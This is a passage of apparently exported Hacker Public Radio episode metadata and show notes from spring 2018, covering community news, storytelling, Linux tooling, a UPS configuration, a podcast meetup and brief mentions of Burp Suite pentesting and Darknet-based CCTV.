                                                              • Comment 1:\nSteve on 2018-03-06:\n\"How in the world...\"
                                                              • Comment 2:\nKevin O'Brien on 2018-03-06:\n\"It's just what I do\"

                                                              \n
                                                            • hpr2501\n(2018-03-05) \"HPR Community News for February 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-03-03:\n\"https://duidelijkautistisch.nl/\"
                                                              • Comment 2:\nKen Fallon on 2018-03-03:\n\"Escape for pipe\"
                                                              • Comment 3:\nClinton Roy on 2018-03-04:\n\"Thank you.\"
                                                              • Comment 4:\nclacke on 2018-03-07:\n\"Re: flea market\"

                                                              \n
                                                            • hpr2502\n(2018-03-06) \"Volume Of Thought\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2018-03-10:\n\"Two comments\"

                                                              \n
                                                            • hpr2503\n(2018-03-07) \"My journey into podcasting\"\nby thelovebug.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-03-06:\n\"Wow\"
                                                              • Comment 2:\nthelovebug on 2018-03-08:\n\"Re: Wow\"

                                                              \n
                                                            • hpr2505\n(2018-03-09) \"The power of GNU Readline - part 3\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJan on 2018-03-09:\n\"Some Lines Of Support\"
                                                              • Comment 2:\nClinton Roy on 2018-03-09:\n\"Comment Command\"
                                                              • Comment 3:\nclacke on 2018-03-11:\n\"Surprisingly useful\"
                                                              • Comment 4:\nDave Morriss on 2018-03-25:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr2507\n(2018-03-13) \"Racket, Nix, Fractalide and the sounds of a Hong Kong New Town\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-02-25:\n\"typo\"
                                                              • Comment 2:\nDave Morriss on 2018-02-26:\n\"Re: typo\"
                                                              • Comment 3:\nclacke on 2018-02-26:\n\"Re: typo\"
                                                              • Comment 4:\nclacke on 2018-02-28:\n\"Re: that info.rkt for a node\"
                                                              • Comment 5:\nclacke on 2018-03-20:\n\"Re: that info.rkt for a node\"

                                                              \n
                                                            • hpr2508\n(2018-03-14) \"False Prophets\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-03-23:\n\"You're right to worry, but ...\"
                                                              • Comment 2:\nLostnbronx on 2018-03-26:\n\"I Agree With You, But...\"
                                                              • Comment 3:\nKen Fallon on 2018-03-28:\n\"Wendover Productions video\"

                                                              \n
                                                            • hpr2509\n(2018-03-15) \"AudioBookClub 16 Matcher Rules\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-03-15:\n\"interesting\"

                                                              \n
                                                            • hpr2514\n(2018-03-22) \"Electronics Calculator Kit\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthelovebug on 2018-03-22:\n\"Blind faith\"
                                                              • Comment 2:\nNYbill on 2018-03-22:\n\"Enjoy the kit, Dave.\"
                                                              • Comment 3:\nthelovebug on 2018-03-24:\n\"Done and dusted\"

                                                              \n
                                                            • hpr2515\n(2018-03-23) \"HPR 2017 New Years Eve show part 2\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-03-27:\n\"Markdown shownotes\"

                                                              \n
                                                            • hpr2516\n(2018-03-26) \"Intro to git branch\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2018-03-26:\n\"Intro to git\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-March/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            New series

                                                            \n

                                                            Three new series have been added to HPR this month:

                                                            \n
                                                              \n
                                                            • GNU Readline: shows about the Readline library
                                                            • \n
                                                            • Hobby Electronics: building electronic circuits and kits
                                                            • \n
                                                            • Introduction to Git: Klaatu's series of Git shows
                                                            • \n
                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to Windigo for sending in updates in the past month.

                                                            \n

                                                            Over the period 40 shows missing tags and/or summaries have been made whole.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n

                                                            The summary page has been further enhanced this month. The list of tags at the end of the page has been laid out to show the blocks with the same starting letter, and an alphabetic index added at the front. It is hoped that this will make it easier to find tags relating to the show to which you are about to add tags.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2522,"date":"2018-04-03","title":"Flashbacks In Storytelling","duration":656,"summary":"Lostnbronx takes a breezy look at the narrative technique of the flashback.","notes":"

                                                            Lostnbronx looks at flashbacks, flashforwards, plays-within-plays, and dream sequences as techniques of both good and bad storytelling.

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"storytelling,flashback,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2523,"date":"2018-04-04","title":"Run Linux on a Windows Box","duration":809,"summary":"HP Stream book with windows 10","notes":"

                                                            A short show about running Debian on windows.
                                                            \nYes it really works.

                                                            \n

                                                            What you have do first
                                                            \nhttps://askubuntu.com/questions/966184/new-installation-of-windows-10-and-ubuntu-from-windows-store-error/966214

                                                            \n

                                                            and here
                                                            \nhttps://www.bing.com/search?q=how+to+run+windows+powershell+as+adminstrator&form=EDGTCT&qs=PF&cvid=75a5d473a2d140ea841cb0457e42026f&refig=ba953cbaebae48c8b5d1c46080dafd1a&cc=DE&setlang=en-US

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Windows Subsystem for Linux,WSL,Debian,PowerShell","version":0,"downloads":0,"valid":1}, {"id":2524,"date":"2018-04-05","title":"General problem solver","duration":1088,"summary":"Brief look into general problem solver system and how to use it solve simple problems","notes":"","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lisp, artificial intelligence, problem solving","version":0,"downloads":0,"valid":1}, {"id":2525,"date":"2018-04-06","title":"2017-2018 New Years Eve show part 3","duration":10932,"summary":"Part three of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 3

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2526,"date":"2018-04-09","title":"Gnu Awk - Part 10","duration":2535,"summary":"More about arrays in Gnu Awk","notes":"

                                                            Gnu Awk - Part 10

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the tenth episode of the "Learning Awk" series which is being produced by Mr. Young and myself.

                                                            \n

                                                            In this episode I want to talk more about the use of arrays in GNU Awk and then I want to examine some real-world examples of the use of awk.

                                                            \n

                                                            Long notes

                                                            \n

                                                            The notes for rest of this episode are available here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility,Awk language,gawk,arrays","version":0,"downloads":0,"valid":1}, {"id":2527,"date":"2018-04-10","title":"Reviews Vs. Critiques","duration":839,"summary":"Lostnbronx contrasts \"reviews\" with \"critiques\", which are not the same things.","notes":"

                                                            Lostnbronx takes a quick look at what it is that constitutes "reviews" of stories (be they books, films, TV shows, audio dramas, whatever) as opposed to "critiques" of them.

                                                            \n

                                                            How do these two things differ, and what are their purposes? Is one more important than the other? Why does it even matter?

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"storytelling,review,critique,lostnbronx,film,writing,audio drama,tv","version":0,"downloads":0,"valid":1}, {"id":2528,"date":"2018-04-11","title":"CCTV with DARKNET","duration":863,"summary":"I got over my current setup for CCTV with Darknet and YOLO","notes":"

                                                            Twitter: @operat0r

                                                            \n

                                                            DERP SHELL CODE https://rmccurdy.com/scripts/DARKNET

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"CCTV,Darknet,YOLO","version":0,"downloads":0,"valid":1}, {"id":2529,"date":"2018-04-12","title":"What's in my podcatcher","duration":592,"summary":"listing of podcasts I listen to ","notes":"

                                                            List of podcasts as read directly from my podcast player/catcher -- sorry, no official notes (I will do better next time, I promise).

                                                            ","hostid":365,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcasts,feed","version":0,"downloads":0,"valid":1}, {"id":2530,"date":"2018-04-13","title":"Introduction to Health","duration":719,"summary":"This is the Introduction to a series on health and taking care of yourself","notes":"

                                                            On our refrigerator we have a note card that says "If you don't take care of your body, where will you live?" This is a very pertinent question that can open up a discussion of how to achieve a better level of health and age gracefully. This show will kick off a series that will explore various topics in how to get good medical information and improve your health.

                                                            \n

                                                            Links

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine","version":0,"downloads":0,"valid":1}, {"id":2531,"date":"2018-04-16","title":"Plot And Story","duration":866,"summary":"Lostnbronx shares some thoughts about the nature of plot and story in storytelling.","notes":"

                                                            Lostnbronx talks about plot and story, as well as characters and backgrounds, in storytelling of all types. These things are closely tied together, and a problem with one can easily be a problem with all.

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"storytelling,plot,story,character,background,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2532,"date":"2018-04-17","title":"Podcrawl Glasgow 2018","duration":1584,"summary":"The TuxJam guys introduce and invite the HPR community to join them at Podcrawl Glasgow in July 2018","notes":"

                                                            HPR Podcrawl 2018

                                                            \n

                                                            Dave, Kevie, and Andrew - hosts of TuxJam - take you via a slightly elongated route to an upcoming event.

                                                            \n

                                                            The event

                                                            \n

                                                            Podcrawl Glasgow 2018 Saturday 28 July 2018 from 18:00 starting at The State Bar, Holland Street, G2 4NG

                                                            \n

                                                            Dave's mistake

                                                            \n

                                                            A minor review of the 2017 event leaves a bitter taste in the mouth of the Big Jessie.

                                                            \n

                                                            Who is the event for?

                                                            \n

                                                            Kevie lists various groups of people who might be interested in going. Dave adds a couple more. So does Andrew. The upshot is: anyone human. Oh, and guide dogs. But probably not children after 19:00 (it's a Scottish pubs/licensing thing).

                                                            \n

                                                            Audio from the event

                                                            \n

                                                            Andrew suggests that we may be able to record or even stream audio from the Podcrawl. Dave apparently is an expert in such things, and tries to impress the others with science. Kevie suggests we wait towards the end of the event when it's quieter.

                                                            \n

                                                            Tactical chunder

                                                            \n

                                                            Dave is reminded - for a second time - about his mishap. Andrew decides to go into nauseating (pardon the pun) detail.

                                                            \n

                                                            How will you find us?

                                                            \n

                                                            Some of us will be wearing Podcrawl t-shirts, although the company that originally produced the t-shirts sadly has gone out of business.

                                                            \n

                                                            Andrew keeps Ken Fallon happy by suggesting that listeners record a response to this show with any suggestions about recording at live events.

                                                            \n

                                                            Kevie tells us where the event will be (see the top of the notes)

                                                            \n

                                                            We'll be posting through the event on Twitter/GNUsocial/Diaspora with the hashtag #PodcrawlGlasgow. Use any one of these to find out where we'll be at any time.

                                                            \n

                                                            Non-techy people are welcome. Cigars will be provided.

                                                            \n

                                                            If you're in a band, come along as well... we have plenty of opportunity for promotion of your music!

                                                            \n

                                                            Andrew reminds us that this is the fifth Podcrawl in Glasgow.

                                                            \n

                                                            Kevie says that if you're coming into Glasgow before 18:00, we'd love to meet up with you beforehand. We believe that all three of us (plus Dave's good lady) will be there from early/mid afternoon.

                                                            \n

                                                            Contact Us

                                                            \n

                                                            You can contact all three of us at the same time via tuxjam@otherside.network - let us know you're coming!

                                                            \n

                                                            Kevie

                                                            \n

                                                            Twitter: @kevie49
                                                            \nDiaspora: kevie@diaspora.microdata.co.uk
                                                            \nFediverse: kevie@community.highlandarrow.com

                                                            \n

                                                            Andrew

                                                            \n

                                                            Fediverse: mcnalu@mastodon.me.uk
                                                            \nTwitter: @mcnalu

                                                            \n

                                                            Dave

                                                            \n

                                                            Twitter: @thelovebug
                                                            \nFediverse: thelovebug@s.wefamlee.be

                                                            \n

                                                            Other podcasts?

                                                            \n

                                                            Dave asks Andrew about a podcast featuring three guys talking about Creative Commons and Linux: TuxJam

                                                            \n

                                                            Dave asks Kevie about a short-form music podcast featuring a couple of pieces of music from a single artist: CCJam

                                                            \n

                                                            Andrew asks Dave about a husband and wife podcast with a live show that goes out every Friday night from South Yorkshire in England: The Bugcast - it's award-winning, has a live chatroom, and is 10-years old!

                                                            \n

                                                            Thanks for listening!

                                                            \n

                                                            Thanks to Torriden for allowing us to play their track Drinking Away. We hope to see you at Podcrawl in July for a beer or malt (or two)!

                                                            \n\n","hostid":314,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"podcrawl, event, beer, whisky, cigars, Creative Commons, music, Linux, tech, chunder","version":0,"downloads":0,"valid":1}, {"id":2533,"date":"2018-04-18","title":"Burp Suite / ABCMouse Game","duration":1504,"summary":"I got over my approach for most mobile/web app pentesting","notes":"

                                                            https://rmccurdy.com/scripts/videos/rmccurdy_com/HPR_ABC.mp4

                                                            \n

                                                            more burp/android videos:

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"burp suite,android,pentesting","version":0,"downloads":0,"valid":1}, {"id":2534,"date":"2018-04-19","title":"Moving to Office 365 (and painting the ceiling)","duration":1888,"summary":"Knightwise talks about moving his company email to Office 365","notes":"

                                                            A couple of weeks ago we moved to a new house and I had some time on my hands to talk to you guys while painting the ceiling. Moving was very much on the forefront of my mind since I also recently moved my company's Email platform to Office 365. As a cross platform slider with a foot in each major operating system I decided to give you my first impressions of the new platform (and upset the GNU-purists) with my review.

                                                            ","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"office, microsoft, windows, 365, move, Migrate, google, Gmail","version":0,"downloads":0,"valid":1}, {"id":2535,"date":"2018-04-20","title":"2017-2018 New Years Eve show part 4","duration":12357,"summary":"Part four of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 4

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2536,"date":"2018-04-23","title":"Lostnbronx examines points-of-view and tenses in storytelling.","duration":1013,"summary":"Lostnbronx examines points-of-view and tenses in storytelling.","notes":"

                                                            Lostnbronx takes a breezy look at narrative points-of-view, as well as temporal tenses in storytelling. What are they, how do they differ, and why might one be better than another in a particular situation?

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"storytelling,stories,pov,tense,writing,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2537,"date":"2018-04-24","title":"Recording HPR on the fly Part II","duration":208,"summary":"In which I update the recommendation from HPR 1877: Just use Audio Recorder!","notes":"

                                                            This is an update to hpr1877 :: Recording HPR on the fly on your Android phone. I thought that was two years ago, but wow it's even two and a half years ago, back in late 2015.

                                                            \n

                                                            Updated recommendation! Back in #1877 I said that you could go with this app because it has these nice functions, or with that app because it has these other things. Well, there's no longer any need for trade-offs. Just go to f-droid, install \nAudio Recorder and you're good to go!

                                                            \n

                                                            I installed it in two minutes, recorded a two-minute episode on how great it seems to be, and then I recorded another three episodes and I can confirm that it's pretty great. You've got the record/pause control available on the lock screen, it can save in FLAC, you can define the naming pattern it should use for the files, and you can tell it where to store its files.

                                                            \n

                                                            Some apps just insist on saving everything in internal storage, and that can run out pretty quick. Meanwhile I've got 30 GB left on my SD card that I'm struggling to make apps make use of.

                                                            \n

                                                            And finally, it also has a rename function (unlike my previous recommendation uRecord!), so you can conveniently, right in the app without finding the files through some other means, change the file name to reflect what it was that you were recording, so that you're not in the situation where one month later you're looking at a dozen files with just dates and times and need to listen to all of them to figure out which one it is you want.

                                                            \n

                                                            It even has an automatic skip silence function, but that's pretty useless for the places I record in. :-D

                                                            \n

                                                            When I said \"cool waveform\" I meant that it's displaying the recorded waveform on the screen as it records. Not that useful, but it's just part of the overall really nice polish of the app.

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android, recording, hpr","version":0,"downloads":0,"valid":1}, {"id":2538,"date":"2018-04-25","title":"My geeky plans for the new house.","duration":1613,"summary":"Knightwise talks about the new geek infrastructure in his house","notes":"

                                                            Moving house gives you plenty of possibilities. While painting the Living room I talk about the geeky infrastructure of my new house and how I plan to set it up.

                                                            ","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ubiquity, wifi, network, firewall, server","version":0,"downloads":0,"valid":1}, {"id":2539,"date":"2018-04-26","title":"Interview - Austin Lee","duration":2739,"summary":"operat0r Interviews Austin Lee","notes":"

                                                            https://www.youtube.com/watch?v=ktbiNmxFuZs

                                                            \n

                                                            RAW:
                                                            \nhttps://rmccurdy.com/stuff/Austen_Lee.zip

                                                            \n","hostid":36,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interview","version":0,"downloads":0,"valid":1}, {"id":2540,"date":"2018-04-27","title":"28 - TLS 1.3","duration":1122,"summary":"TLS 1.3 is the newest protocol standard for secure communications on the Web.","notes":"

                                                            TLS 1.3 was just adopted, and it provides improved security for all Web communications. We take a look at what the protocol says and look at the controversies around its adoption. https://www.zwilnik.com/?page_id=980

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Ephemeral Diffie-Hellman, Encryption, TLS","version":0,"downloads":0,"valid":1}, {"id":2541,"date":"2018-04-30","title":"Microphone Wind Screen Demo","duration":384,"summary":"Lostnbronx demonstrates the effectiveness of his new microphone wind screen.","notes":"

                                                            This is just a quick demo of my new microphone wind screen muff. Though you can still hear some wind noise getting through when especially sharp gusts roll by, I think you'll agree the difference with and without the screen is dramatic.

                                                            \n

                                                            The Movo is not perfect, and will not stop all wind noise on a very blustery day, but this kind of screen is essential for outdoor recording. The only editing I did on this track was a fade-in and out, and transcoding it from wav to flac (which was then transcoded at HPR into other formats).

                                                            \n
                                                            \n","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"recording,wind screen,muff,outdoors,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2542,"date":"2018-05-01","title":"How I helped my dad run a static website using SparkleShare","duration":728,"summary":"In which I describe my setup of SparkleShare and GitLab Pages to maintain a static website","notes":"

                                                            My #hprep tag up on Heldscalla serves as inspiration for times like this, when I should just record something while I have the chance. Suggest more topics for me to orate about and I'll put them up there!

                                                            \n

                                                            In this episode I'm talking about how I've set up SparkleShare (web site currently down, try the archived site if it's still down when you're reading this) and GitLab Pages to allow my dad to tinker with a static web site locally on his machine and automatically get the changes up on the official URL without having to bother with any manual steps (at least on the happy path).

                                                            \n

                                                            Errata: Oops, I said Jekyll uses Python. It uses Ruby.

                                                            \n

                                                            TL;DL: We have two directories, two git repos. He doesn't have to know about git. He plays around in the staging directory first, looks at the test site how it turned out, when he's happy he just copies the files over to the production directory and they go live. SparkleShare automatically pushes to gitlab.com (I didn't say it outright in the episode, but yeah, I'm using the hosted service -- that's basically the point of this mode of doing things, minimal setup, responsibility and maintenance for me), and GitLab CI runs Jekyll (use the static site generator of your choice) to copy files over for deploying, and finally GitLab Pages deploys the new site.

                                                            \n

                                                            I believe all of this took me less than two hours to set up, effective time, once I got around to it (and was in the same time zone as my dad's computer). Don't forget to add your verification TXT record in the DNS.

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sparkleshare, static website, gitlab pages","version":0,"downloads":0,"valid":1}, {"id":2543,"date":"2018-05-02","title":"Home Theater - Part 1 Hardware","duration":530,"summary":"I go over my Home Theater / Media setup starting with Hardware","notes":"\n
                                                            cat /etc/pwrstatd.conf\npowerfail-delay = 60\npowerfail-active = yes\npowerfail-cmd-path = /usr/local/bin/pwrstatd-powerfail.sh\npowerfail-duration = 0\npowerfail-shutdown = no\n\nlowbatt-delay = 30\nlowbatt-active = yes\nlowbatt-cmd-path = /usr/local/bin/pwrstatd-lowbatt.sh\nlowbatt-duration = 0\nlowbatt-shutdown = yes\nenable-alarm = yes\nshutdown-sustain = 60\nturn-ups-off = yes\nlowbatt-threshold = 15\n\nups-polling-rate = 1\nups-retry-rate = 10\nprohibit-client-access = no
                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Home Theater","version":0,"downloads":0,"valid":1}, {"id":2544,"date":"2018-05-03","title":"How I prepared episode 2493: YouTube Subscriptions - update","duration":1978,"summary":"In show 2493 I listed some of my YT subscriptions - here's how","notes":"

                                                            How I prepared episode 2493: YouTube Subscriptions - update

                                                            \n

                                                            Introduction

                                                            \n

                                                            In show 2493 I listed a number of the YouTube channels I watch. Some of what I did to prepare the notes was to cut and paste information from YouTube pages, but the basic list itself was generated programmatically. I thought the process I used might be of interest to somebody so I am describing it here.

                                                            \n

                                                            Components

                                                            \n

                                                            I needed four components to achieve what I wanted:

                                                            \n\n

                                                            I will talk a little about the first three components in this episode in order to provide an overview.

                                                            \n

                                                            Full-length notes

                                                            \n

                                                            The full-length notes (available here) contain details of the processes involved in building the list of channels.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"YouTube,OPML,XML,xmlstarlet,Template Toolkit","version":0,"downloads":0,"valid":1}, {"id":2545,"date":"2018-05-04","title":"2017-2018 New Years Eve show part 5","duration":8433,"summary":"Part five of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 5

                                                            \n
                                                              \n
                                                            • Guitar Talk, Les Pauls, Strats, etc. SG, Flying V, Squire ... etc.

                                                            • \n
                                                            • Social media discussion, Twitter, Mastodon, G+

                                                            • \n
                                                            • Opensource licenses

                                                            • \n
                                                            • More autism discussion

                                                            • \n
                                                            • New drugs that make you live longer

                                                            • \n
                                                            • notalion participated in https://www.holidayhackchallenge.com/2017/

                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2546,"date":"2018-05-07","title":"HPR Community News for April 2018","duration":1591,"summary":"Ken is on his own and talks about shows released and comments posted in April 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Tuula, \n bookewyrmm.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2521Mon2018-04-02HPR Community News for March 2018HPR Volunteers
                                                            2522Tue2018-04-03Flashbacks In Storytellinglostnbronx
                                                            2523Wed2018-04-04Run Linux on a Windows BoxJWP
                                                            2524Thu2018-04-05General problem solverTuula
                                                            2525Fri2018-04-06HPR 2017 New Years Eve show part 3Various Hosts
                                                            2526Mon2018-04-09Gnu Awk - Part 10Dave Morriss
                                                            2527Tue2018-04-10Reviews Vs. Critiqueslostnbronx
                                                            2528Wed2018-04-11CCTV with DARKNEToperat0r
                                                            2529Thu2018-04-12What's in my podcatcherbookewyrmm
                                                            2530Fri2018-04-13Introduction to HealthAhuka
                                                            2531Mon2018-04-16Plot And Storylostnbronx
                                                            2532Tue2018-04-17Podcrawl Glasgow 2018thelovebug
                                                            2533Wed2018-04-18Burp Suite / ABCMouse Gameoperat0r
                                                            2534Thu2018-04-19Moving to Office 365 (and painting the ceiling)knightwise
                                                            2535Fri2018-04-20HPR 2017 New Years Eve show part 4Various Hosts
                                                            2536Mon2018-04-23Lostnbronx examines points-of-view and tenses in storytelling.lostnbronx
                                                            2537Tue2018-04-24Recording HPR on the fly Part IIclacke
                                                            2538Wed2018-04-25My geeky plans for the new house.knightwise
                                                            2539Thu2018-04-26Interview - Austin Leeoperat0r
                                                            2540Fri2018-04-2728 - TLS 1.3Ahuka
                                                            2541Mon2018-04-30Microphone Wind Screen Demolostnbronx
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 18 comments in total.

                                                            \n

                                                            There are 11 comments on\n4 previous shows:

                                                            \n
                                                            • hpr2254\n(2017-03-23) \"Introduction to Model Rocketry\"\nby Steve Saner.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nJohn E Thompson on 2018-04-04:\n\"Great Show\"
                                                              • \n
                                                              • \nComment 5:\nSteve on 2018-04-04:\n\"Re: Great Show\"

                                                              \n
                                                            • hpr2485\n(2018-02-09) \"The Alien Brothers Podcast - S01E05 - I Saw the Invisible Man\"\nby The Alien Brothers Podcast (ABP).
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nDraco Metallium on 2018-04-14:\n\"Two months without a new transmission\"

                                                              \n
                                                            • hpr2515\n(2018-03-23) \"HPR 2017 New Years Eve show part 2\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2018-04-03:\n\"ASCIIDoc shownotes\"
                                                              • \n
                                                              • \nComment 3:\nDave Morriss on 2018-04-04:\n\"Markdown/ASCIIDoc\"
                                                              • \n
                                                              • \nComment 4:\nclacke on 2018-04-04:\n\"Overengineering\"
                                                              • \n
                                                              • \nComment 5:\nDave Morriss on 2018-04-05:\n\"Re: Overengineering\"
                                                              • \n
                                                              • \nComment 6:\nclacke on 2018-04-05:\n\"Re: Overengineering\"

                                                              \n
                                                            • hpr2518\n(2018-03-28) \"Converting My Laptop to Dual Boot\"\nby Steve Saner.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nmongo on 2018-03-31:\n\"Good tutorial\"
                                                              • \n
                                                              • \nComment 2:\nKen Fallon on 2018-04-06:\n\"Is OpenSCAD an alternative to Autodesk Fusion 360 ?\"
                                                              • \n
                                                              • \nComment 3:\nSteve on 2018-04-06:\n\"Really a different category of software\"

                                                              \n
                                                            \n

                                                            There are 7 comments on 4 of this month's shows:

                                                            \n
                                                            • hpr2521\n(2018-04-02) \"HPR Community News for March 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthe_remora on 2018-04-02:\n\"Handle Origin\"
                                                              • Comment 2:\nclacke on 2018-04-07:\n\"Re: AND THEN IT'S GOT DIVS IN IT!!\"
                                                              • Comment 3:\nKevin O'Brien on 2018-04-09:\n\"My name\"
                                                              • Comment 4:\nclacke on 2018-04-12:\n\"Living the dream\"

                                                              \n
                                                            • hpr2524\n(2018-04-05) \"General problem solver\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2018-04-29:\n\"Thanks for the introduction\"

                                                              \n
                                                            • hpr2537\n(2018-04-24) \"Recording HPR on the fly Part II\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-03-28:\n\"An update\"

                                                              \n
                                                            • hpr2538\n(2018-04-25) \"My geeky plans for the new house.\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2018-04-25:\n\"Such a beautiful soundscape\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-April/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to bjb and Windigo for sending in updates in the past month.

                                                            \n

                                                            Over the period tags and/or summaries have been added to 18 shows which were missing them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2547,"date":"2018-05-08","title":"MSYS2","duration":657,"summary":"In which I talk briefly about the history of MSYS2 and Cygwin and why you might want MSYS2","notes":"

                                                            In the beginning there was Cygwin, by Cygnus Solutions (later acquired by Red Hat), then came msys, a lightweight derivative with no package manager, no fancy integration tools, just the bare minimum necessary to support a gcc compiler and the GNU autotools.

                                                            \n

                                                            msys2 is cygwin minus the package manager plus an adaptation of the pacman package manager from Arch, and a big archive of packages of all kinds. It offers a friendlier command-line experience than Cygwin does.

                                                            \n

                                                            I failed to mention here that msys was explicitly made to support the MinGW (Minimalist GNU for Windows) flavor of GCC, which is intended for building native Windows applications. GCC for Windows has two types of output, cygwin or mingw, where cygwin is for source code that expects POSIX-y facilities and mingw is for code that should compile (possibly with some minor adjustments for C dialect) equally well under GCC and Microsoft Visual C, and should produce about the same output.

